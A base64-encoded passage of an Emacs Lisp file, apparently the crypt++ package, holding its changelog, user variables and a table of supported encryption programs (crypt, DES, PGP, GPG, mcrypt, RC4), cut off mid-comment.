L1NPRlRXQVJFL2luZGV4Lmh0bWwuCjs7OyAgICBSZXF1aXJlcyBlaXRoZXIgbWFpbGNyeXB0IG9y ICJQRU0gLSBQR1AgRW5oYW5jZWQgTWVzc2FnaW5nIGZvcgo7OzsgICAgR05VIEVtYWNzIiBmcm9t IFJveSBGcmVkZXJpY2sgQnVzZGllY2tlciwgSUlJIChSaWNrKS4KOzs7ICAgTWVyZ2UgTWFjIHN1 cHBvcnQgZnJvbSBEYW5pZWwgTS4gR2VybWFuIDxkbWdAY3NnLnV3YXRlcmxvby5jYT4uCjs7OyAy Ljg1IC0gNWp1bjk4Cjs7OyAgICBjcm9AbmNhLmFzdS5lZHU6IEFkZCBzdXBwb3J0IGluIHBncC1w dWIgZm9yIGVuY3J5cHRpbmcgZmlsZXMgd2l0aAo7OzsgICAgIG11bHRpcGxlIHVzZXIncyBrZXlz LiAgTmV3IHZhcmlhYmxlczogY3J5cHQtcGdwLXB1Yi1tdWx0aXJlY2lwaWVudHMsCjs7OyAgICAg Y3J5cHQtcGdwLXB1Yi1yZWNpcGllbnRzLCBjcnlwdC1wZ3AtcHViLXJlY2lwaWVudHMtaGlzdG9y eS4KOzs7ICAgICBUaGlzIHN1cHBvcnQgaXMgb24gYnkgZGVmYXVsdC4KOzs7ICAgIG5vc3V6dWtp QGUtbWFpbC5uZS5qcDogZGVmdmFyIHNoZWxsLWNvbW1hbmQtc3dpdGNoLgo7OzsgICAga25hYmVA Y3MudmlyZ2luaWEuZWR1OiBjcnlwdC1wZ3AgdmFyaWFibGUgbmFtZXMuCjs7OyAyLjg2IC0gMTdq YW45OQo7OzsgICAgbm1nOTdyQGVjcy5zb3Rvbi5hYy51azogRGlzY2FyZCBzdGRlcnIgZnJvbSBz dWJwcm9jZXNzZXMgaW5zdGVhZAo7OzsgICAgb2YgaW5zZXJ0aW5nIGludG8gdGhlIGN1cnJlbnQg YnVmZmVyLgo7OzsgMi44NyAtIDIxYXByOTkKOzs7ICAgIGFkZCBjcnlwdC1kZWNvZGUte2Rvcyxt YWN9LXAuCjs7OyAyLjg4IC0gMmp1bjAwCjs7OyAgICBraWZlckBjcy5zdW55c2IuZWR1OiAoY29k aW5nLXN5c3RlbS1mb3Itd3JpdGUgJ25vLWNvbnZlcnNpb24pCjs7OyAgICByeWtAY29oby5uZXQ6 IChidWZmZXItZmlsZS1jb2Rpbmctc3lzdGVtICduby1jb252ZXJzaW9uKQo7OzsgICAgam9obmhA aXNpLmVkdTogbWFpbGNyeXB0ICYgcGdwL3BncDUuMC9ncGcuCjs7OyAyLjg5IC0gMTFtYXkwMQo7 OzsgICAgam9lcmdAcGxhdGUuY3ggKEpvZXJnIFBsYXRlKTogYnppcCAhPSBiemlwMi4KOzs7ICAg IHBsb3JkQGhnbXAubXJjLmFjLnVrIChQaGlsbGlwIExvcmQpIChjcnlwdC1maWxlLXdyaXRlLWhv b2spOgo7OzsgICAgICAobGV0IGluaGliaXQtcmVhZC1vbmx5IHQpIHNvIHdlIGNhbiBzYXZlIHdp dGggcmVhZC1vbmx5IHByb3BlcnRpZXMuCjs7OyAgICBjcm9AbmNhLmFzdS5lZHUgKENoYXJsZXMg Ui4gT2xkaGFtKSAoY3J5cHQtcGdwLXB1Yi1lbmNyeXB0LXJlZ2lvbik6Cjs7OyAgICAgIHR5cG8s IHBncCB1c2VkIGluIGdwZyBibG9jay4KOzs7ICAgIGh1bGxAcGFyYWNlbC5jb20gKERhdmlkIEh1 bGwpOiBncGcgZmlsZSBzdXBwb3J0LCBhbHNvCjs7OyAgICAgIHNldCBjb2Rpbmctc3lzdGVtLWZv ci1yZWFkIHRvICduby1jb252ZXJzaW9uLCBmaXhlcyBkZWNyeXB0aW9uCjs7OyAgICAgIGJ1ZyB3 aXRoIGZpbGVzIGJlZ2lubmluZyB3aXRoIGEgYmxhbmsgbGluZS4KOzs7ICAgIGtiIChjcnlwdC1l bmNvZGUtcmVnaW9uKTogc2V0IGNvZGluZy1zeXN0ZW0tZm9yLSouICBUaGlzCjs7OyAgICAgIGJh Y2t3YXJkcyBpbmNvbXBhdGliaWxpdHkgc3VyZSBoYXMgYmVlbiBwYWluZnVsLgo7OzsgMi45MCAt IDE5bWF5MDEKOzs7ICAgIGtiOiBwYXR0ZXJuIGZvciAuZWxjIGZpbGVzLgo7OzsgMi45MSAtIDE1 bm92MDEKOzs7CWZvcmNlckBkZWJpYW4ub3JnIChKb3JnZW4gU2NoYWVmZXIpOiBtY3J5cHQgZW50 cnkuCjs7Owlkb2MgZml4ZXMgZnJvbSBkbWFnZGFAbWFnZGEuY2EgKERhdmlkIE1hZ2RhKQo7OzsJ ICBhbmQgdmlkYWxAc2MuZWR1IChKb3NlIFZpZGFsKS4KOzs7IDIuOTIgLSAxN2phbjAzCjs7OyAg ICAga2I6IG5vIG1vcmUgZnRwLmNzLnVtYi5lZHUuCjs7OwltZXJuc3RAYWx1bS5taXQuZWR1IChN aWNoYWVsIEVybnN0KTogcmM0IGVuY29kaW5nLgoKDAo7OzsgQ29kZToKCjs7OzsgVXNlciBkZWZp bmFibGUgdmFyaWFibGVzLgooZGVmdmFyIHNoZWxsLWNvbW1hbmQtc3dpdGNoICItYyIpIDsgaW4g Y2FzZSBpdCBpc24ndCBkZWZpbmVkIHlldC4KCihkZWZ2YXIgY3J5cHQtZW5jcnlwdGlvbi10eXBl ICdjcnlwdAogICIqTWV0aG9kIG9mIGVuY3J5cHRpb24uICBNdXN0IGJlIGFuIGVsZW1lbnQgb2Yg YGNyeXB0LWVuY3J5cHRpb24tYWxpc3QuJwpJZiB5b3UgY2hhbmdlIHRoaXMgYWZ0ZXIgY3J5cHQr KyBpcyBsb2FkZWQgdGhlbiBkbyBcXFtjcnlwdC1yZWJ1aWxkLXRhYmxlc10uIikKCihkZWZ2YXIg Y3J5cHQtZW5jcnlwdGlvbi1maWxlLWV4dGVuc2lvbiBuaWwKICAiKlJlZ2V4cCBmb3IgZXh0ZW5z aW9uIG9mIGZpbGVzIGVuY3J5cHRlZCB3aXRoIGBjcnlwdC1lbmNyeXB0aW9uLXR5cGUuJwpTaG91 bGQgYmUgb2YgdGhlIGZvcm0gXCJcXFxcKFxcXFwuZm9vXFxcXCkkXCIuICBuaWwgc2F5cyB1c2Ug ZGVmYXVsdCB2YWx1ZXMgaW4KYGNyeXB0LWVuY3J5cHRpb24tYWxpc3QuJyAgSWYgeW91IGNoYW5n ZSB0aGlzIGFmdGVyIGNyeXB0KysgaXMgbG9hZGVkIHRoZW4gZG8KXFxbY3J5cHQtcmVidWlsZC10 YWJsZXNdLiIpCgooZGVmdmFyIGNyeXB0LW5ldmVyLWV2ZXItZGVjcnlwdCBuaWwKICAiKnQgc2F5 cyBuZXZlciBhdHRlbXB0IHRvIGRlY3J5cHQgYSBidWZmZXIuIikKCihkZWZ2YXIgY3J5cHQtYXV0 by13cml0ZS1idWZmZXItZW5jcnlwdGVkIG5pbAogICIqdCBzYXlzIGZpbGVzIHdpdGggYGNyeXB0 LWVuY3J5cHRpb24tYWxpc3QnIGZpbGUgZXh0ZW5zaW9uIGF1dG8tZW5jcnlwdGVkLgpuaWwgc2F5 cyBxdWVyeS4gIFNlZSBgY3J5cHQtYXV0by13cml0ZS1idWZmZXIuJyIpCgooZGVmdmFyIGNyeXB0 LWNvbmZpcm0tcGFzc3dvcmQgbmlsCiAgIip0IHNheXMgY29uZmlybSBuZXcgcGFzc3dvcmRzIGFu ZCB3aGVuIHdyaXRpbmcgYSBuZXdseSBlbmNyeXB0ZWQgYnVmZmVyLiIpCgooZGVmdmFyIGNyeXB0 LWVuY29kZWQtZGlzYWJsZS1hdXRvLXNhdmUgdAogICIqSWYgdCwgdHVybiBvZmYgYXV0by1zYXZl LW1vZGUgZm9yIGJ1ZmZlcnMgd2hpY2ggYXJlIGVuY29kZWQuCklmIG5vbi1uaWwgYnV0IG5vdCB0 LCB0aGVuIG5vIG1lc3NhZ2UgaXMgZGlzcGxheWVkLgoKVGhlIGRlZmF1bHQgaXMgdCBpcyBiZWNh dXNlIHRoZXJlIGlzbid0IGFueSB3YXkgdG8gdGVsbCBlbWFjcyB0byBlbmNvZGUgdGhlCmF1dG9z YXZlIGZpbGUsIHNvIHRoZSBhdXRvc2F2ZSB3b3VsZCBiZSBpbiBhIGRpZmZlcmVudCBmb3JtYXQg ZnJvbSB0aGUKb3JpZ2luYWwuICBUaGUgZGlzYWR2YW50YWdlIG9mIHR1cm5pbmcgb2ZmIGF1dG9z YXZlcyBpcyB0aGF0IGFueSB3b3JrIHlvdQpkbyBpbiB0aGF0IGJ1ZmZlciB3aWxsIGJlIGNvbXBs ZXRlbHkgbG9zdCBpZiB0aGUgY2hhbmdlcyBhcmUgbm90IGV4cGxpY2l0bHkKc2F2ZWQuCgpJdCBp cyBwcm9iYWJseSBiZXN0IHRvIHNldCB0aGlzIHZhcmlhYmxlIHRvIG5pbCBhbmQgdXNlIGJ1ZmZl ci1sb2NhbAp2YXJpYWJsZXMgaW4gZmlsZXMgZm9yIHdoaWNoIHlvdSBkb24ndCBhY3R1YWxseSBj YXJlIGFib3V0IGF1dG9zYXZlcy4KVW5lbmNvZGVkIHJlY292ZXJ5IGRhdGEgaXMgYmV0dGVyIHRo YW4gbm9uZSBhdCBhbGwuIikKCihkZWZ2YXIgY3J5cHQtZW5jcnlwdGVkLWRpc2FibGUtYXV0by1z YXZlIHQKICAiKklmIHQsIHR1cm4gb2ZmIGF1dG8tc2F2ZS1tb2RlIGZvciBidWZmZXJzIHdoaWNo IGFyZSBlbmNyeXB0ZWQuCklmIG5vbi1uaWwgYnV0IG5vdCB0LCB0aGVuIG5vIG1lc3NhZ2UgaXMg ZGlzcGxheWVkLgoKVGhlIGRlZmF1bHQgaXMgdCBpcyBiZWNhdXNlIHRoZXJlIGlzbid0IGFueSB3 YXkgdG8gdGVsbCBlbWFjcyB0byBlbmNyeXB0CnRoZSBhdXRvc2F2ZSBmaWxlLCBzbyB0aGUgYXV0 b3NhdmUgd291bGQgYmUgaW4gY2xlYXJ0ZXh0IGZvcm0uICBUaGUKZGlzYWR2YW50YWdlIG9mIHR1 cm5pbmcgb2ZmIGF1dG9zYXZlcyBpcyB0aGF0IGFueSB3b3JrIHlvdSBkbyBpbiB0aGF0CmJ1ZmZl ciB3aWxsIGJlIGNvbXBsZXRlbHkgbG9zdCBpZiB0aGUgY2hhbmdlcyBhcmUgbm90IGV4cGxpY2l0 bHkgc2F2ZWQuCgpZb3UgbWlnaHQgY29uc2lkZXIgc2V0dGluZyB0aGlzIHZhcmlhYmxlIHRvIG5p bCBhbmQgdXNlIGJ1ZmZlci1sb2NhbAp2YXJpYWJsZXMgaW4gZmlsZXMgZm9yIHdoaWNoIHNlY3Vy aXR5IGlzIG1vcmUgaW1wb3J0YW50IHRoYW4gZGF0YQpyZWNvdmVyeS4iKQoKOzs7IEVOQ1JZUFRJ T04KCjs7OyBFbmNyeXB0ZWQgZmlsZXMgaGF2ZSBubyBtYWdpYyBudW1iZXIsIHNvIHdlIGhhdmUg dG8gaGFjayBhIHdheSBvZgo7OzsgZGV0ZXJtaW5pbmcgd2hlbiBhIGJ1ZmZlciBzaG91bGQgYmUg ZGVjcnlwdGVkLiAgd2UgZG8gdGhpcyBvbmx5IGJ1ZmZlcnMKOzs7IHRoYXQgbWF0Y2ggYSBNQUdJ Qy1SRUdFWFAgdmVyeSBjbG9zZSB0byBiZWdpbm5pbmcgb2YgYnVmZmVyIGFuZCB0aGF0IGRvCjs7 OyBfTk9UXyBtYXRjaCBhIE1BR0lDLVJFR0VYUC1JTlZFUlNFLgo7OzsKOzs7IEN1cnJlbnRseSBN QUdJQy1SRUdFWFAgbWF0Y2hlcyBub24tQVNDSUkgY2hhcmFjdGVycyBhbmQKOzs7IE1BR0lDLVJF R0VYUC1JTlZFUlNFIHdpbGwgbWF0Y2ggU3VuIE9TLCA0LnggQlNELCBhbmQgVWx0cml4IGV4ZWN1 dGFibGUKOzs7IG1hZ2ljIG51bWJlcnMsIHNvIGJpbmFyaWVzIGNhbiBzdGlsbCBiZSBlZGl0ZWQg KGhlaCkgd2l0aG91dCBoZWFkYWNoZXMuCgooZGVmY29uc3QgY3J5cHQtZW5jcnlwdGlvbi1tYWdp Yy1yZWdleHAgIltcMDAwXDIwMC1cMjM3XVxcfF4tLS0tLUJFR0lOIFBHUCBNRVNTQUdFXFx8XlNh bHRlZF9fIgogICJSZWdleHAgdGhhdCBtdXN0IGJlIGZvdW5kIHZlcnkgY2xvc2UgdG8gYmVnaW5u aW5nIG9mIGVuY3J5cHRlZCBidWZmZXIuClRoaXMgaXMgaW50ZW5kZWQgdG8gYmUgYW4gaW50ZXJu YWwgdmFyaWFibGUgXChub3QgdXNlci12aXNpYmxlXCkuICBJZiB5b3UKY2hhbmdlIHRoaXMgYWZ0 ZXIgY3J5cHQrKyBpcyBsb2FkZWQgdGhlbiBkbyBcXFtjcnlwdC1yZWJ1aWxkLXRhYmxlc10uIikK CihkZWZjb25zdCBjcnlwdC1lbmNyeXB0aW9uLW1hZ2ljLXJlZ2V4cC1pbnZlcnNlCiAgIlxcYFwy MDFcMDAxXFx8XlxcKC4uXFwpP1xcKFtcMDA3XDAxMFwwMTNdXDAwMVxcfFwwMDFbXDAwN1wwMTBc MDEzXVxcKVxcfF5Gcm9tIFxcfF47RUxDIgogICJSZWdleHAgdGhhdCBtdXN0ICpub3QqIGJlIGZv dW5kIHZlcnkgY2xvc2UgdG8gYmVnaW5uaW5nIG9mIGVuY3J5cHRlZCBidWZmZXIuClRoaXMgaXMg aW50ZW5kZWQgdG8gYmUgYW4gaW50ZXJuYWwgdmFyaWFibGUgXChub3QgdXNlci12aXNpYmxlXCku ICBJZiB5b3UKY2hhbmdlIHRoaXMgYWZ0ZXIgY3J5cHQrKyBpcyBsb2FkZWQgdGhlbiBkbyBcXFtj cnlwdC1yZWJ1aWxkLXRhYmxlc10uIikKCihkZWZjb25zdCBjcnlwdC1tYWdpYy1zZWFyY2gtbGlt aXQgMTAwCiAgIkxpbWl0IG9mIHJlZ3VsYXIgZXhwcmVzc2lvbiBzZWFyY2ggdXNlZCB0byByZWNv Z25pemUgZW5jcnlwdGVkIGZpbGVzLgpNYXhpbXVtIHBvc2l0aW9uIGluIGZpbGUgZm9yIHByZXNl bmNlIG9mIGBjcnlwdC1lbmNyeXB0aW9uLW1hZ2ljLXJlZ2V4cCcgYW5kCmFic2VuY2Ugb2YgYGNy eXB0LWVuY3J5cHRpb24tbWFnaWMtcmVnZXhwLWludmVyc2UnLiIpCgooZGVmdW4gY3J5cHQtYnVp bGQtZW5jcnlwdGlvbi1hbGlzdCAoKQogIDs7IFJldHVybnMgdGhlIGVuY3J5cHRpb24gYWxpc3QK ICAobGlzdAogICA7OyBjcnlwdAogICAobGlzdCAnY3J5cHQKICAgICAgICAgY3J5cHQtZW5jcnlw dGlvbi1tYWdpYy1yZWdleHAgY3J5cHQtZW5jcnlwdGlvbi1tYWdpYy1yZWdleHAtaW52ZXJzZQog ICAgICAgICAob3IgY3J5cHQtZW5jcnlwdGlvbi1maWxlLWV4dGVuc2lvbiAiXFwoXFwuZVxcKSQi KQogICAgICAgICAiY3J5cHQiICJjcnlwdCIKICAgICAgICAgbmlsCiAgICAgICAgIG5pbAogICAg ICAgICAiQ3J5cHQiCiAgICAgICAgIG5pbAogICAgICAgICB0CgkgbmlsCiAgICAgICAgICkKICAg OzsgREVTIChDaXBoZXIgQmxvY2sgQ2hhaW5pbmcgLSBDQkMpIFtERVMnIGRlZmF1bHRdCiAgIChs aXN0ICdkZXMKICAgICAgICAgY3J5cHQtZW5jcnlwdGlvbi1tYWdpYy1yZWdleHAgY3J5cHQtZW5j cnlwdGlvbi1tYWdpYy1yZWdleHAtaW52ZXJzZQogICAgICAgICAob3IgY3J5cHQtZW5jcnlwdGlv bi1maWxlLWV4dGVuc2lvbiAiXFwoXFwuZGVzXFwpJCIpCiAgICAgICAgICJkZXMiICJkZXMiCiAg ICAgICAgICcoIi1lIiAiLWsiKQogICAgICAgICAnKCItZCIgIi1rIikKICAgICAgICAgIkRFUy1D QkMiCiAgICAgICAgIG5pbAogICAgICAgICB0CgkgbmlsCiAgICAgICAgICkKICAgOzsgREVTIChF bGVjdHJvbmljIENvZGUgQm9vayAtIEVDQikKICAgKGxpc3QgJ2Rlcy1lY2IKICAgICAgICAgY3J5 cHQtZW5jcnlwdGlvbi1tYWdpYy1yZWdleHAgY3J5cHQtZW5jcnlwdGlvbi1tYWdpYy1yZWdleHAt aW52ZXJzZQogICAgICAgICAob3IgY3J5cHQtZW5jcnlwdGlvbi1maWxlLWV4dGVuc2lvbiAiXFwo XFwuZGVzXFwpJCIpCiAgICAgICAgICJkZXMiICJkZXMiCiAgICAgICAgICcoIi1lIiAiLWIiICIt ayIpCiAgICAgICAgICcoIi1kIiAiLWIiICItayIpCiAgICAgICAgICJERVMtRUNCIgogICAgICAg ICBuaWwKICAgICAgICAgdAoJIG5pbAogICAgICAgICApCiAgIDs7IFBHUAogICAobGlzdCAncGdw CiAgICAgICAgIGNyeXB0LWVuY3J5cHRpb24tbWFnaWMtcmVnZXhwIGNyeXB0LWVuY3J5cHRpb24t bWFnaWMtcmVnZXhwLWludmVyc2UKICAgICAgICAgKG9yIGNyeXB0LWVuY3J5cHRpb24tZmlsZS1l eHRlbnNpb24gIlxcKFxcLnBncFxcKSQiKQogICAgICAgICAicGdwIiAicGdwIgogICAgICAgICAn KCIrYmF0Y2htb2RlIiAiK3ZlcmJvc2U9MCIgIi1jIiAiLWYiICIteiIpCiAgICAgICAgICcoIiti YXRjaG1vZGUiICIrdmVyYm9zZT0wIiAiLWYiICIteiIpCiAgICAgICAgICJQR1AiCiAgICAgICAg IG5pbAogICAgICAgICB0CgkgbmlsCiAgICAgICAgICkKICAgOzsgUEdQIHdpdGggcHVibGljLWtl eSBlbmNyeXB0aW9uCiAgIChsaXN0ICdwZ3AtcHViCiAgICAgICAgIGNyeXB0LWVuY3J5cHRpb24t bWFnaWMtcmVnZXhwIGNyeXB0LWVuY3J5cHRpb24tbWFnaWMtcmVnZXhwLWludmVyc2UKICAgICAg ICAgKG9yIGNyeXB0LWVuY3J5cHRpb24tZmlsZS1leHRlbnNpb24gIlxcKFxcLnBncFxcKSQiKQog ICAgICAgICAicGdwIiAicGdwIgogICAgICAgICBuaWwKICAgICAgICAgbmlsCiAgICAgICAgICJQ R1AtUFVCIgogICAgICAgICBuaWwKICAgICAgICAgdAoJIG5pbAogICAgICAgICApCiAgIDs7IEdQ RwogICAobGlzdCAnZ3BnCiAgICAgICAgIGNyeXB0LWVuY3J5cHRpb24tbWFnaWMtcmVnZXhwIGNy eXB0LWVuY3J5cHRpb24tbWFnaWMtcmVnZXhwLWludmVyc2UKICAgICAgICAgKG9yIGNyeXB0LWVu Y3J5cHRpb24tZmlsZS1leHRlbnNpb24gIlxcKFxcLmdwZ1xcKSQiKQogICAgICAgICAiZ3BnIiAi Z3BnIgogICAgICAgICAnKCItLWJhdGNoIiAiLS1xdWlldCIgIi1jIiAiLW8iICItIiAiLS1wYXNz cGhyYXNlLWZkIiAiMCIpCiAgICAgICAgICcoIi0tYmF0Y2giICItLXF1aWV0IiAiLW8iICItIiAi LS1wYXNzcGhyYXNlLWZkIiAiMCIpCiAgICAgICAgICJHUEciCiAgICAgICAgIG5pbAogICAgICAg ICB0CgkgdAogICAgICAgICApCiAgKGxpc3QgJ21jcnlwdAogICAgICAgIGNyeXB0LWVuY3J5cHRp b24tbWFnaWMtcmVnZXhwIGNyeXB0LWVuY3J5cHRpb24tbWFnaWMtcmVnZXhwLWludmVyc2UKICAg ICAgICAob3IgY3J5cHQtZW5jcnlwdGlvbi1maWxlLWV4dGVuc2lvbiAiXFwoXFwubmNcXCkkIikK ICAgICAgICAibWNyeXB0IiAibWNyeXB0IgogICAgICAgICcoIi1rIikKICAgICAgICAnKCItZCIg Ii1rIikKICAgICAgICAiUmlqbmRhZWwtMTI4IgogICAgICAgIG5pbAogICAgICAgIHQKCW5pbAog ICAgICAgICkKICAobGlzdCAncmM0CiAgICAgICAgY3J5cHQtZW5jcnlwdGlvbi1tYWdpYy1yZWdl eHAgY3J5cHQtZW5jcnlwdGlvbi1tYWdpYy1yZWdleHAtaW52ZXJzZQogICAgICAgIChvciBjcnlw dC1lbmNyeXB0aW9uLWZpbGUtZXh0ZW5zaW9uICJcXChcXC5yYzRcXCkkIikKICAgICAgICAib3Bl bnNzbCIgIm9wZW5zc2wiCiAgICAgICAgJygiZW5jIiAiLXJjNCIgIi1lIiAiLWsiKQogICAgICAg ICcoImVuYyIgIi1yYzQiICItZCIgIi1rIikKICAgICAgICAiUkM0IgoJbmlsCiAgICAgICAgdAog ICAgICAgIG5pbAogICAgICAgICkKICAgOzsgQWRkIG5ldyBlbGVtZW50cyBoZXJlIC4uLgogICAp KQoKKGRlZmNvbnN0IGNyeXB0LWVuY3J5cHRpb24tYWxpc3QgKGNyeXB0LWJ1aWxkLWVuY3J5cHRp b24tYWxpc3QpCiAgIkxpc3Qgb2YgZWxlbWVudHMgZGVzY3JpYmluZyB0aGUgZW5jcnlwdGlvbiBt ZXRob2RzIGF2YWlsYWJsZS4KZWFjaCBlbGVtZW50IGxvb2tzIGxpa2UKICAgICAgICBcKEVOQ1JZ UFRJT04tVFlQRQogICAgICAgICAgTUFHSUMtUkVHRVhQIE1BR0lDLVJFR0VYUC1JTlZFUlNFCiAg ICAgICAgICBGSUxFLUVYVEVOU0lPTgogICAgICAgICAgRU5DUllQVC1QUk9HUkFNIERFQ1JZUFQt UFJPR1JBTQogICAgICAgICAgRU5DUllQVC1BUkdTCiAgICAgICAgICBERUNSWVBULUFSR1MKICAg ICAgICAgIE1JTk9SLU1PREUKICAgICAgICAgIEdBUkJBR0UtUkVHRVhQLU9SLUxJU1BFWFAKICAg ICAgICAgIEZJTEUtRVhURU5TSU9OLVRSSUNLUwogICAgICAgICAgRU5DUllQVElPTi1LRVktU1RE SU4KICAgICAgICAgXCkKRU5DUllQVElPTi1UWVBFIGlzIGEgc3ltYm9sIGRlbm90aW5nIHRoZSBl bmNyeXB0aW9uIHR5cGUuCgpNQUdJQy1SRUdFWFAgcmVnZXhwIHRoYXQgbXVzdCBtYXRjaCB2ZXJ5 IGNsb3NlIHRvIHRoZSBiZWdpbm5pbmcgb2YgYW4KZW5jcnlwdGVkIGJ1ZmZlci4gIFRoaXMgbWF5 IGFsc28gYmUgc29tZSBlbGlzcCBleHByZXNzaW9uIHRvIGJlIGV2YWx1YXRlZCBhdApcKHBvaW50 LW1pblwpIHRoYXQgd2lsbCByZXR1cm4gdCBmb3IgYW4gZW5jcnlwdGVkIGJ1ZmZlci4gIElmIHRo aXMgaXMgc2V0IHRvCm5pbCB0aGVuIGNyeXB0Kysgd2lsbCBuZXZlciB0cnkgdG8gZGVjcnlwdCBh IGJ1ZmZlci4gIEN1cnJlbnRseSBzZXQgdG8gdGhlCmludGVybmFsIHZhcmlhYmxlIGBjcnlwdC1l bmNyeXB0aW9uLW1hZ2ljLXJlZ2V4cCcgd2hpY2ggd2lsbCBtYXRjaCBub24tQVNDSUkKY2hhcmFj dGVycy4KCk1BR0lDLVJFR0VYUC1JTlZFUlNFIHJlZ2V4cCB0aGF0IG11c3QgX05PVF8gbWF0Y2gg dmVyeSBjbG9zZSB0byB0aGUgYmVnaW5uaW5nCm9mIGFuIGVuY3J5cHRlZCBidWZmZXIuICBUaGlz IG1heSBhbHNvIGJlIHNvbWUgZWxpc3AgZXhwcmVzc2lvbiB0byBiZQpldmFsdWF0ZWQgYXQgXChw b2ludC1taW5cKSB0aGF0IHdpbGwgcmV0dXJuIHQgZm9yIGEgTk9OLWVuY3J5cHRlZCBidWZmZXIu CklmIHRoaXMgaXMgc2V0IHRvIHQgdGhlbiBjcnlwdCsrIHdpbGwgbmV2ZXIgdHJ5IHRvIGRlY3J5 cHQgYSBidWZmZXIuCkN1cnJlbnRseSBzZXQgdG8gdGhlIGludGVybmFsIHZhcmlhYmxlIGBjcnlw dC1lbmNyeXB0aW9uLW1hZ2ljLXJlZ2V4cC1pbnZlcnNlJwp3aGljaCB3aWxsIG1hdGNoIFN1biBP UywgNC54IEJTRCwgYW5kIFVsdHJpeCBleGVjdXRhYmxlIG1hZ2ljIG51bWJlcnMsIHNvCmJpbmFy aWVzIGNhbiBzdGlsbCBiZSBlZGl0ZWQgKGhlaCkgd2l0aG91dCBoZWFkYWNoZXMuCgpGSUxFLUVY VEVOU0lPTiByZWdleHAgZGVub3RpbmcgdGhlIGZpbGUgZXh0ZW5zaW9uIHVzdWFsbHkgYXBwZW5k ZWQgdGhlCmZpbGVuYW1lIG9mIGZpbGVzIGVuY3J5cHRlZCB3aXRoIEVOQ1JZUFQtUFJPR1JBTS4g IFRoZSB2YXJpYWJsZQpgY3J5cHQtZW5jcnlwdGlvbi1maWxlLWV4dGVuc2lvbicgd2lsbCBvdmVy IHJpZGUgdGhlIGRlZmF1bHQuCgpFTkNSWVBULVBST0dSQU0gbmFtZSBvZiBleGVjdXRhYmxlIGZp bGUgdG8gYmUgdXNlZCBmb3IgZW5jcnlwdGlvbi4KCkRFQ1JZUFQtUFJPR1JBTSBuYW1lIG9mIGV4 ZWN1dGFibGUgZmlsZSB0byBiZSB1c2VkIGZvciBkZWNyeXB0aW9uLgoKRU5DUllQVC1BUkdTIGFy Z3VtZW50cyB0byBiZSBwYXNzZWQgdG8gRU5DUllQVC1QUk9HUkFNIG1heSBiZSBhIHN0cmluZyBv ciBhCmxpc3Qgb2Ygc3RyaW5ncyBvciBuaWwuCgpERUNSWVBULUFSR1MgYXJndW1lbnRzIHRvIGJl IHBhc3NlZCB0byBERUNSWVBULVBST0dSQU0gbWF5IGJlIGEgc3RyaW5nIG9yIGEKbGlzdCBvZiBz dHJpbmdzIG9yIG5pbC4KCk1JTk9SLU1PREUgc3RyaW5nIGRlbm90aW5nIHRoZSBuYW1lIGZvciB0 aGUgZW5jcnlwdGVkIG1pbm9yIG1vZGUgYXMgaXQgd2lsbAphcHBlYXIgaW4gdGhlIG1vZGUgbGlu ZS4KCkdBUkJBR0UtUkVHRVhQLU9SLUxJU1BFWFAgZHVtbXkgdmFyaWFibGUgZm9yIGNvbXBhdGli aWxpdHkgd2l0aCBlbmNvZGluZy4KCkZJTEUtRVhURU5TSU9OLVRSSUNLUyBpcyB0IG9yIG5pbCBk ZXBlbmRpbmcgb24gd2hldGhlciBvciBub3QgdHJpY2tzCmNvbnZlcnRpbmcgYmV0d2VlbiBkaWZm ZXJlbnQgZW5jcnlwdGlvbiB0eXBlcyBjYW4gYmUgZG9uZSBiYXNlZCBvbgpGSUxFLUVYVEVOU0lP TjsgdHlwaWNhbGx5IHQuCgpFTkNSWVBUSU9OLUtFWS1TVERJTiBpcyB0IGlmIHRoZSBlbmNyeXB0 aW9uIGtleSBzaG91bGQgYmUgcGFzc2VkIHRvIHRoZQplbmNyeXB0aW9uIHByb2dyYW0gb24gc3Rk aW4sIG9yIG5pbCBpZiBpdCBzaG91bGQgYmUgYXBwZW5kZWQgdG8gdGhlIGVuZApvZiB0aGUgY29t bWFuZCBsaW5lLiAgSXQgaXMgbW9yZSBzZWN1cmUgdG8gcGFzcyBpdCBvbiBzdGRpbi4KIikKCgwK Ozs7IEVOQ09ESU5HCgooZGVmdmFyIGNyeXB0LWF1dG8tZGVjb2RlLWJ1ZmZlciB0CiAgIip0IHNh eXMgYnVmZmVycyB2aXNpdGluZyBlbmNvZGVkIGZpbGVzIHdpbGwgYmUgZGVjb2RlZCBhdXRvbWF0 aWNhbGx5LgpuaWwgbWVhbnMgdG8gYXNrIGJlZm9yZSBkb2luZyB0aGUgZGVjb2RpbmcuIikKCihk ZWZ2YXIgY3J5cHQtYXV0by13cml0ZS1idWZmZXIgbmlsCiAgIip0IHNheXMgc2F2ZSBmaWxlcyB3 aXRoIGBjcnlwdC1lbmNvZGluZy1hbGlzdCcgZmlsZSBleHRlbnNpb25zIGFzIGVuY29kZWQuCm5p bCBzYXlzIHRvIGFzayBiZWZvcmUgZG9pbmcgdGhpcyBlbmNvZGluZy4gIFNpbWlsYXJseSwgYnVm ZmVycyBvcmlnaW5hdGluZwpmcm9tIGVuY29kZWQgZmlsZXMgdG8gYmUgd3JpdHRlbiB0byBmaWxl cyBub3QgZW5kaW5nIGluIGBjcnlwdC1lbmNvZGluZy1hbGlzdCcKZmlsZSBleHRlbnNpb25zIHdp bGwgYmUgd3JpdHRlbiBpbiBwbGFpbiBmb3JtYXQgYXV0b21hdGljYWxseS4gIG5pbCBzYXlzIHRv CmFzayBiZWZvcmUgZG9pbmcgdGhpcyBkZWNvZGluZy4iKQoKOzsgVGhpcyBpcyBhbiBpbnRlcm5h bCB2YXJpYWJsZSBkb2N1bWVudGVkIGhlcmUgYW5kIG5vdCBpbiBhIERPQ1NUUklORyBpbgo7OyBv cmRlciB0byBzYXZlIG1lbW9yeS4gIElmIHRoaXMgdmFyaWFibGUncyB2YWx1ZSBoYXMgYmVlbiBj aGFuZ2VkIGZyb20gaXRzCjs7IGRlZmF1bHQsIHRoZW4gaXQgY29udGFpbnMgdGhlIGFuc3dlciB0 byB0aGUgcXVlc3Rpb24gIldyaXRlIG91dCBidWZmZXIKOzsgZm9vYmFyIHVzaW5nIGBjb21wcmVz c2lvbi10eXBlJz8iLiAgVGhpcyBxdWVzdGlvbiBpcyBhc2tlZCBvbmx5IGlmICpwbGFpbioKOzsg YnVmZmVyIGZvb2JhciBpcyBiZWluZyB3cml0dGVuIHRvIGRpc2sgKmFuZCogaXQgaGFzIGEgcHJv 